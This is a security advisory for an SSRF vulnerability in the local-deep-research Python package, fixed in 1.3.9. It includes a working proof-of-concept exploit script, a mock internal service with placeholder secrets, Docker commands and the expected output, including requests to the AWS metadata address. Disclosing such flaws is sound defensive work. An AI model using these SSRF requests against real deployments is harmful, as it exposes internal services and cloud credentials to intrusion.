local-deep-research
Affected
- introduced
1.3.0, fixed1.3.9(ecosystem)
Fixed versions
1.3.9
Fix
- Fixed version
1.3.9pip install --upgrade local-deep-research==1.3.9
Advisory
Also known as: CVE-2025-67743, GHSA-9c54-gxh7-ppjc
Local Deep Research is Vulnerable to Server-Side Request Forgery (SSRF) in Download Service
Summary
The download service (download_service.py) makes HTTP requests using raw requests.get() without utilizing the application's SSRF protection (safe_requests.py). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls.
CWE: CWE-918 (Server-Side Request Forgery)
---
Details
Vulnerable Code Location
File: src/local_deep_research/research_library/services/download_service.py
The application has proper SSRF protection implemented in security/safe_requests.py and security/ssrf_validator.py, which blocks:
However, download_service.py bypasses this protection by using raw requests.get() directly:
# Line 1038 - _download_generic method
response = requests.get(url, headers=headers, timeout=30)
# Line 1075
response = requests.get(api_url, timeout=10)
# Line 1100
pdf_response = requests.get(pdf_url, headers=headers, timeout=30)
# Line 1144
response = requests.get(europe_url, headers=headers, timeout=30)
# Line 1187
api_response = requests.get(elink_url, params=params, timeout=10)
# Line 1207
summary_response = requests.get(esummary_url, ...)
# Line 1236
response = requests.get(europe_url, headers=headers, timeout=30)
# Line 1276
response = requests.get(url, headers=headers, timeout=10)
# Line 1298
response = requests.get(europe_url, headers=headers, timeout=30)
Attack Vector
POST /api/resources/<research_id>resource_service.py:add_resource())/library/api/download/<resource_id>download_service.py fetches the URL using raw requests.get(), bypassing SSRF protection---
PoC
Prerequisites
Step 1: Create the Mock Internal Service
File: `internal_service.py`
#!/usr/bin/env python3
"""Mock internal service that simulates a sensitive internal endpoint."""
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
class InternalServiceHandler(BaseHTTPRequestHandler):
def log_message(self, format, *args):
print(f"[INTERNAL SERVICE] {args[0]}")
def do_GET(self):
print(f"\n{'='*60}")
print(f"[!] SSRF DETECTED - Internal service accessed!")
print(f"[!] Path: {self.path}")
print(f"{'='*60}\n")
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
secret_data = {
"status": "SSRF_SUCCESSFUL",
"message": "You have accessed internal service via SSRF!",
"internal_secrets": {
"database_password": "super_secret_db_pass_123",
"api_key": "sk-internal-api-key-xxxxx",
"admin_token": "admin_bearer_token_yyyyy"
}
}
self.wfile.write(json.dumps(secret_data, indent=2).encode())
if __name__ == "__main__":
print("[*] Starting mock internal service on port 8080")
server = HTTPServer(("0.0.0.0", 8080), InternalServiceHandler)
server.serve_forever()
Step 2: Create the Exploit Script
File: `exploit.py`
#!/usr/bin/env python3
"""SSRF Vulnerability Active PoC"""
import sys
import requests
sys.path.insert(0, '/app/src')
def main():
print("=" * 70)
print("SSRF Vulnerability PoC - Active Exploitation")
print("=" * 70)
internal_url = "http://ssrf-internal-service:8080/secret-data"
aws_metadata_url = "http://169.254.169.254/latest/meta-data/"
headers = {"User-Agent": "Mozilla/5.0"}
# EXPLOIT 1: Access internal service
print("\n[EXPLOIT 1] Accessing internal service via SSRF")
print(f" Target: {internal_url}")
try:
# Same pattern as download_service.py line 1038
response = requests.get(internal_url, headers=headers, timeout=30)
print(f" [!] SSRF SUCCESSFUL! Status: {response.status_code}")
print(f" [!] Retrieved secrets:")
for line in response.text.split('\n')[:15]:
print(f" {line}")
except Exception as e:
print(f" [-] Failed: {e}")
return 1
# EXPLOIT 2: AWS metadata bypass
print("\n[EXPLOIT 2] AWS Metadata endpoint bypass")
from local_deep_research.security.ssrf_validator import validate_url
print(f" SSRF validator: {'ALLOWED' if validate_url(aws_metadata_url) else 'BLOCKED'}")
print(f" But download_service.py BYPASSES the validator!")
try:
requests.get(aws_metadata_url, timeout=5)
except requests.exceptions.ConnectionError:
print(f" Request sent without SSRF validation!")
print("\n" + "=" * 70)
print("SSRF VULNERABILITY CONFIRMED")
print("=" * 70)
return 0
if __name__ == "__main__":
sys.exit(main())
Step 3: Run the PoC
# Build and run with Docker
docker network create ssrf-poc-net
docker run -d --name ssrf-internal-service --network ssrf-poc-net python:3.11-slim sh -c "pip install -q && python internal_service.py"
docker run --rm --network ssrf-poc-net -v ./src:/app/src ssrf-vulnerable-app python exploit.py
Expected Output
======================================================================
SSRF Vulnerability PoC - Active Exploitation
======================================================================
[EXPLOIT 1] Accessing internal service via SSRF
Target: http://ssrf-internal-service:8080/secret-data
[!] SSRF SUCCESSFUL! Status: 200
[!] Retrieved secrets:
{
"status": "SSRF_SUCCESSFUL",
"message": "You have accessed internal service via SSRF!",
"internal_secrets": {
"database_password": "super_secret_db_pass_123",
"api_key": "sk-internal-api-key-xxxxx",
"admin_token": "admin_bearer_token_yyyyy"
}
}
[EXPLOIT 2] AWS Metadata endpoint bypass
SSRF validator: BLOCKED
But download_service.py BYPASSES the validator!
Request sent without SSRF validation!
======================================================================
SSRF VULNERABILITY CONFIRMED
======================================================================
---
Impact
Who is affected?
All users running local-deep-research in:
What can an attacker do?
Medium Basis: CVSS v3 score 6.3, vector CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N
1.3.0, fixed 1.3.9 (ecosystem)1.3.9
1.3.9pip install --upgrade local-deep-research==1.3.9Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: PyPA Advisory Database · CC BY 4.0